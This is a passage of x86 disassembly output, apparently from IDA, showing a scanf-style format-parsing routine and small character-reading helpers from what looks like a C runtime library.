		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_41D981
		cmp	esi, 63h
		jz	short loc_41D972
		cmp	esi, 7Bh
		jz	short loc_41D972
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41E224
		pop	ecx
		jmp	short loc_41D97D
; ---------------------------------------------------------------------------


loc_41D972:				; CODE XREF: sub_41D797+1C5j
					; sub_41D797+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3


loc_41D97D:				; CODE XREF: sub_41D797+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_41D981:				; CODE XREF: sub_41D797+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_41D991
		cmp	[ebp+var_C], eax
		jz	loc_41E16D


loc_41D991:				; CODE XREF: sub_41D797+1EFj
		cmp	esi, 6Fh
		jg	loc_41DBF8
		jz	loc_41DEAA
		cmp	esi, 63h
		jz	loc_41DBD5
		cmp	esi, 64h
		jz	loc_41DEAA
		jle	loc_41DC22
		cmp	esi, 67h
		jle	short loc_41D9F5
		cmp	esi, 69h
		jz	short loc_41D9DD
		cmp	esi, 6Eh
		jnz	loc_41DC22
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_41E0D8
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------


loc_41D9DD:				; CODE XREF: sub_41D797+229j
		push	64h
		pop	esi


loc_41D9E0:				; CODE XREF: sub_41D797+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_41DC6A
		mov	[ebp+var_17], 1
		jmp	loc_41DC6F
; ---------------------------------------------------------------------------


loc_41D9F5:				; CODE XREF: sub_41D797+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_41DA11
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_41DA16
; ---------------------------------------------------------------------------


loc_41DA11:				; CODE XREF: sub_41D797+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_41DA2D


loc_41DA16:				; CODE XREF: sub_41D797+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DA30
; ---------------------------------------------------------------------------


loc_41DA2D:				; CODE XREF: sub_41D797+27Dj
		mov	edi, [ebp+arg_0]


loc_41DA30:				; CODE XREF: sub_41D797+294j
		cmp	[ebp+var_20], 0
		jz	short loc_41DA3F
		cmp	[ebp+var_C], 15Dh
		jle	short loc_41DA46


loc_41DA3F:				; CODE XREF: sub_41D797+29Dj
		mov	[ebp+var_C], 15Dh


loc_41DA46:				; CODE XREF: sub_41D797+2A6j
					; sub_41D797+2F2j
		cmp	dword_4397AC, 1
		jle	short loc_41DA5B
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DA66
; ---------------------------------------------------------------------------


loc_41DA5B:				; CODE XREF: sub_41D797+2B6j
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41DA66:				; CODE XREF: sub_41D797+2C2j
		test	eax, eax
		jz	short loc_41DA8B
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DA8B
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DA46
; ---------------------------------------------------------------------------


loc_41DA8B:				; CODE XREF: sub_41D797+2D1j
					; sub_41D797+2DBj
		cmp	byte_4397B0, bl
		jnz	short loc_41DAF9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DAF9
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		mov	al, byte_4397B0
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_41DAB4:				; CODE XREF: sub_41D797+360j
		cmp	dword_4397AC, 1
		jle	short loc_41DAC9
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DAD4
; ---------------------------------------------------------------------------


loc_41DAC9:				; CODE XREF: sub_41D797+324j
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41DAD4:				; CODE XREF: sub_41D797+330j
		test	eax, eax
		jz	short loc_41DAF9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DAF9
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DAB4
; ---------------------------------------------------------------------------


loc_41DAF9:				; CODE XREF: sub_41D797+2FAj
					; sub_41D797+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_41DB91
		cmp	ebx, 65h
		jz	short loc_41DB11
		cmp	ebx, 45h
		jnz	loc_41DB91


loc_41DB11:				; CODE XREF: sub_41D797+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DB91
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_41DB38
		mov	[esi], al
		inc	esi
		jmp	short loc_41DB3D
; ---------------------------------------------------------------------------


loc_41DB38:				; CODE XREF: sub_41D797+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_41DB5B


loc_41DB3D:				; CODE XREF: sub_41D797+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_41DB4C
		and	[ebp+var_C], eax
		jmp	short loc_41DB5B
; ---------------------------------------------------------------------------


loc_41DB4C:				; CODE XREF: sub_41D797+3AEj
					; sub_41D797+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41DB5B:				; CODE XREF: sub_41D797+3A4j
					; sub_41D797+3B3j
		cmp	dword_4397AC, 1
		jle	short loc_41DB70
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DB7B
; ---------------------------------------------------------------------------


loc_41DB70:				; CODE XREF: sub_41D797+3CBj
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41DB7B:				; CODE XREF: sub_41D797+3D7j
		test	eax, eax
		jz	short loc_41DB91
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DB91
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_41DB4C
; ---------------------------------------------------------------------------


loc_41DB91:				; CODE XREF: sub_41D797+366j
					; sub_41D797+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41E20D
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_41E19D
		cmp	[ebp+var_E], 0
		jnz	loc_41E0FE
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43B908
		add	esp, 0Ch
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------


loc_41DBD5:				; CODE XREF: sub_41D797+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_41DBE4
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_41DBE4:				; CODE XREF: sub_41D797+441j
		cmp	[ebp+var_5], 0
		jle	short loc_41DBEE
		mov	[ebp+var_16], 1


loc_41DBEE:				; CODE XREF: sub_41D797+451j
		mov	edi, offset dword_43B930
		jmp	loc_41DD03
; ---------------------------------------------------------------------------


loc_41DBF8:				; CODE XREF: sub_41D797+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_41DEA6
		sub	eax, 3
		jz	loc_41DCF4
		dec	eax
		dec	eax
		jz	loc_41DEAA
		sub	eax, 3
		jz	loc_41D9E0
		sub	eax, 3
		jz	short loc_41DC46


loc_41DC22:				; CODE XREF: sub_41D797+21Bj
					; sub_41D797+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_41E16D
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_41E0FE
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------


loc_41DC46:				; CODE XREF: sub_41D797+489j
		cmp	[ebp+var_5], 0
		jle	short loc_41DC50
		mov	[ebp+var_16], 1


loc_41DC50:				; CODE XREF: sub_41D797+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_41DD07
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_41DD03
; ---------------------------------------------------------------------------


loc_41DC6A:				; CODE XREF: sub_41D797+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_41DC91


loc_41DC6F:				; CODE XREF: sub_41D797+259j
		dec	[ebp+var_C]
		jnz	short loc_41DC80
		cmp	[ebp+var_20], 0
		jz	short loc_41DC80
		mov	[ebp+var_F], 1
		jmp	short loc_41DC91
; ---------------------------------------------------------------------------


loc_41DC80:				; CODE XREF: sub_41D797+4DBj
					; sub_41D797+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41DC91:				; CODE XREF: sub_41D797+4D6j
					; sub_41D797+4E7j
		cmp	ebx, 30h
		jnz	loc_41DEDF
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_41DCDF
		cmp	bl, 58h
		jz	short loc_41DCDF
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_41DCC9
		push	6Fh


loc_41DCC3:				; CODE XREF: sub_41D797+55Bj
		pop	esi
		jmp	loc_41DEDF
; ---------------------------------------------------------------------------


loc_41DCC9:				; CODE XREF: sub_41D797+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41E20D
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_41DEDC
; ---------------------------------------------------------------------------


loc_41DCDF:				; CODE XREF: sub_41D797+517j
					; sub_41D797+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_41DCC3
; ---------------------------------------------------------------------------


loc_41DCF4:				; CODE XREF: sub_41D797+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_41DCFE
		mov	[ebp+var_16], 1


loc_41DCFE:				; CODE XREF: sub_41D797+561j
		mov	edi, offset dword_43B928


loc_41DD03:				; CODE XREF: sub_41D797+45Cj
					; sub_41D797+4CEj
		or	[ebp+var_18], 0FFh


loc_41DD07:				; CODE XREF: sub_41D797+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41DD2B
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_41DD2B
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_41DD2E
; ---------------------------------------------------------------------------


loc_41DD2B:				; CODE XREF: sub_41D797+584j
					; sub_41D797+589j
		mov	dl, [ebp+var_35]


loc_41DD2E:				; CODE XREF: sub_41D797+592j
					; sub_41D797+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_41DD93
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_41DD7A
		test	dl, dl
		jz	short loc_41DD7A
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_41DD7A
		inc	edi
		cmp	dl, cl
		jnb	short loc_41DD4D
		mov	al, cl
		jmp	short loc_41DD51
; ---------------------------------------------------------------------------


loc_41DD4D:				; CODE XREF: sub_41D797+5B0j
		mov	al, dl
		mov	dl, cl


loc_41DD51:				; CODE XREF: sub_41D797+5B4j
		cmp	dl, al
		ja	short loc_41DD76
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_41DD5E:				; CODE XREF: sub_41D797+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_41DD5E


loc_41DD76:				; CODE XREF: sub_41D797+5BCj
		xor	dl, dl
		jmp	short loc_41DD2E
; ---------------------------------------------------------------------------


loc_41DD7A:				; CODE XREF: sub_41D797+5A0j
					; sub_41D797+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_41DD2E
; ---------------------------------------------------------------------------


loc_41DD93:				; CODE XREF: sub_41D797+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_41E19D
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41DDA5
		mov	[ebp+arg_4], edi


loc_41DDA5:				; CODE XREF: sub_41D797+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_41E20D
		pop	ecx
		pop	ecx


loc_41DDBC:				; CODE XREF: sub_41D797+6BCj
					; sub_41D797+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_41DDD0
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_41DE6C


loc_41DDD0:				; CODE XREF: sub_41D797+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_41DE60
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_41DE60
		cmp	[ebp+var_E], 0
		jnz	short loc_41DE58
		cmp	[ebp+var_16], 0
		jz	short loc_41DE4D
		mov	ecx, off_4395A0
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41DE2C
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		pop	ecx
		mov	[ebp+var_37], al


loc_41DE2C:				; CODE XREF: sub_41D797+686j
		push	dword_4397AC
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_420E98
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_41DE50
; ---------------------------------------------------------------------------


loc_41DE4D:				; CODE XREF: sub_41D797+673j
		mov	[esi], al
		inc	esi


loc_41DE50:				; CODE XREF: sub_41D797+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_41DDBC
; ---------------------------------------------------------------------------


loc_41DE58:				; CODE XREF: sub_41D797+66Dj
		inc	[ebp+var_30]
		jmp	loc_41DDBC
; ---------------------------------------------------------------------------


loc_41DE60:				; CODE XREF: sub_41D797+649j
					; sub_41D797+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41E20D
		pop	ecx
		pop	ecx


loc_41DE6C:				; CODE XREF: sub_41D797+633j
		cmp	[ebp+var_30], esi
		jz	loc_41E19D
		cmp	[ebp+var_E], 0
		jnz	loc_41E0FE
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_41E0FE
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41DE9E
		and	word ptr [eax],	0
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------


loc_41DE9E:				; CODE XREF: sub_41D797+6FCj
		and	byte ptr [eax],	0
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------


loc_41DEA6:				; CODE XREF: sub_41D797+466j
		mov	[ebp+var_D], 1


loc_41DEAA:				; CODE XREF: sub_41D797+203j
					; sub_41D797+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_41DEB8
		mov	[ebp+var_17], 1
		jmp	short loc_41DEBD
; ---------------------------------------------------------------------------


loc_41DEB8:				; CODE XREF: sub_41D797+719j
		cmp	ebx, 2Bh
		jnz	short loc_41DEDF


loc_41DEBD:				; CODE XREF: sub_41D797+71Fj
		dec	[ebp+var_C]
		jnz	short loc_41DECE
		cmp	[ebp+var_20], 0
		jz	short loc_41DECE
		mov	[ebp+var_F], 1
		jmp	short loc_41DEDF
; ---------------------------------------------------------------------------


loc_41DECE:				; CODE XREF: sub_41D797+729j
					; sub_41D797+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		pop	ecx
		mov	ebx, eax


loc_41DEDC:				; CODE XREF: sub_41D797+543j
		mov	[ebp+var_14], ebx


loc_41DEDF:				; CODE XREF: sub_41D797+4FDj
					; sub_41D797+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_41DFF8
		cmp	[ebp+var_F], 0
		jnz	loc_41DFD6


loc_41DEF3:				; CODE XREF: sub_41D797+82Cj
		cmp	esi, 78h
		jnz	short loc_41DF47
		cmp	dword_4397AC, 1
		jle	short loc_41DF10
		push	80h
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DF1D
; ---------------------------------------------------------------------------


loc_41DF10:				; CODE XREF: sub_41D797+768j
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_41DF1D:				; CODE XREF: sub_41D797+777j
		test	eax, eax
		jz	loc_41DFC8
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_420F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_41E1BC
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DF9A
; ---------------------------------------------------------------------------


loc_41DF47:				; CODE XREF: sub_41D797+75Fj
		cmp	dword_4397AC, 1
		jle	short loc_41DF5C
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DF67
; ---------------------------------------------------------------------------


loc_41DF5C:				; CODE XREF: sub_41D797+7B7j
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41DF67:				; CODE XREF: sub_41D797+7C3j
		test	eax, eax
		jz	short loc_41DFC8
		cmp	esi, 6Fh
		jnz	short loc_41DF85
		cmp	ebx, 38h
		jge	short loc_41DFC8
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_420F90
		jmp	short loc_41DF94
; ---------------------------------------------------------------------------


loc_41DF85:				; CODE XREF: sub_41D797+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_417760


loc_41DF94:				; CODE XREF: sub_41D797+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_41DF9A:				; CODE XREF: sub_41D797+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_41DFB2
		dec	[ebp+var_C]
		jz	short loc_41DFD6


loc_41DFB2:				; CODE XREF: sub_41D797+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41DEF3
; ---------------------------------------------------------------------------


loc_41DFC8:				; CODE XREF: sub_41D797+788j
					; sub_41D797+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41E20D
		pop	ecx
		pop	ecx


loc_41DFD6:				; CODE XREF: sub_41D797+756j
					; sub_41D797+819j
		cmp	[ebp+var_17], 0
		jz	loc_41E0BC
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_41E0BC
; ---------------------------------------------------------------------------


loc_41DFF8:				; CODE XREF: sub_41D797+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_41E0B4


loc_41E002:				; CODE XREF: sub_41D797+90Aj
		cmp	esi, 78h
		jz	short loc_41E046
		cmp	esi, 70h
		jz	short loc_41E046
		cmp	dword_4397AC, 1
		jle	short loc_41E021
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------


loc_41E021:				; CODE XREF: sub_41D797+87Cj
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41E02C:				; CODE XREF: sub_41D797+888j
		test	eax, eax
		jz	short loc_41E0A6
		cmp	esi, 6Fh
		jnz	short loc_41E03F
		cmp	ebx, 38h
		jge	short loc_41E0A6
		shl	edi, 3
		jmp	short loc_41E07E
; ---------------------------------------------------------------------------


loc_41E03F:				; CODE XREF: sub_41D797+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_41E07E
; ---------------------------------------------------------------------------


loc_41E046:				; CODE XREF: sub_41D797+86Ej
					; sub_41D797+873j
		cmp	dword_4397AC, 1
		jle	short loc_41E05E
		push	80h
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41E06B
; ---------------------------------------------------------------------------


loc_41E05E:				; CODE XREF: sub_41D797+8B6j
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_41E06B:				; CODE XREF: sub_41D797+8C5j
		test	eax, eax
		jz	short loc_41E0A6
		push	ebx
		shl	edi, 4
		call	sub_41E1BC
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41E07E:				; CODE XREF: sub_41D797+8A6j
					; sub_41D797+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_41E090
		dec	[ebp+var_C]
		jz	short loc_41E0B4


loc_41E090:				; CODE XREF: sub_41D797+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41E002
; ---------------------------------------------------------------------------


loc_41E0A6:				; CODE XREF: sub_41D797+897j
					; sub_41D797+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41E20D
		pop	ecx
		pop	ecx


loc_41E0B4:				; CODE XREF: sub_41D797+865j
					; sub_41D797+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_41E0BC
		neg	edi


loc_41E0BC:				; CODE XREF: sub_41D797+843j
					; sub_41D797+85Cj ...
		cmp	esi, 46h
		jnz	short loc_41E0C5
		and	[ebp+var_1C], 0


loc_41E0C5:				; CODE XREF: sub_41D797+928j
		cmp	[ebp+var_1C], 0
		jz	loc_41E19D
		cmp	[ebp+var_E], 0
		jnz	short loc_41E0FE
		inc	[ebp+var_34]


loc_41E0D8:				; CODE XREF: sub_41D797+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_41E0EE
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_41E0FE
; ---------------------------------------------------------------------------


loc_41E0EE:				; CODE XREF: sub_41D797+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41E0FB
		mov	[eax], edi
		jmp	short loc_41E0FE
; ---------------------------------------------------------------------------


loc_41E0FB:				; CODE XREF: sub_41D797+95Ej
		mov	[eax], di


loc_41E0FE:				; CODE XREF: sub_41D797+241j
					; sub_41D797+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E14B
; ---------------------------------------------------------------------------


loc_41E109:				; CODE XREF: sub_41D797+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_41E178
		mov	ecx, off_4395A0
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41E14B
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_41E186
		dec	[ebp+var_4]


loc_41E14B:				; CODE XREF: sub_41D797+970j
					; sub_41D797+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41E161
		cmp	byte ptr [esi],	25h
		jnz	short loc_41E1A3
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_41E1A3
		mov	esi, eax


loc_41E161:				; CODE XREF: sub_41D797+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_41D7C1
		jmp	short loc_41E19D
; ---------------------------------------------------------------------------


loc_41E16D:				; CODE XREF: sub_41D797+1F4j
					; sub_41D797+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_41E17D
; ---------------------------------------------------------------------------


loc_41E178:				; CODE XREF: sub_41D797+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_41E17D:				; CODE XREF: sub_41D797+9DFj
		call	sub_41E20D
		pop	ecx
		pop	ecx
		jmp	short loc_41E19D
; ---------------------------------------------------------------------------


loc_41E186:				; CODE XREF: sub_41D797+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41E20D
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41E20D
		add	esp, 10h


loc_41E19D:				; CODE XREF: sub_41D797+1Fj
					; sub_41D797+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41E1B4


loc_41E1A3:				; CODE XREF: sub_41D797+9BDj
					; sub_41D797+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_41E1B7
		cmp	[ebp+var_15], al
		jnz	short loc_41E1B7
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E1B7
; ---------------------------------------------------------------------------


loc_41E1B4:				; CODE XREF: sub_41D797+A0Aj
		mov	eax, [ebp+var_34]


loc_41E1B7:				; CODE XREF: sub_41D797+A11j
					; sub_41D797+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D797	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E1BC	proc near		; CODE XREF: sub_41D797+7A3p
					; sub_41D797+8DCp

arg_0		= dword	ptr  4

		cmp	dword_4397AC, 1
		push	esi
		jle	short loc_41E1D6
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41E1E5
; ---------------------------------------------------------------------------


loc_41E1D6:				; CODE XREF: sub_41E1BC+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_4395A0
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41E1E5:				; CODE XREF: sub_41E1BC+18j
		test	eax, eax
		jnz	short loc_41E1EF
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_41E1EF:				; CODE XREF: sub_41E1BC+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_41E1BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E1F3	proc near		; CODE XREF: sub_41D797+1E1p
					; sub_41D797+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_41E205
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_41E205:				; CODE XREF: sub_41E1F3+7j
		push	edx
		call	sub_41E248
		pop	ecx
		retn
sub_41E1F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E20D	proc near		; CODE XREF: sub_41D797+6Bp
					; sub_41D797+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_41E223
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_420FAF
		pop	ecx
		pop	ecx

locret_41E223:				; CODE XREF: sub_41E20D+5j
		retn
sub_41E20D	endp


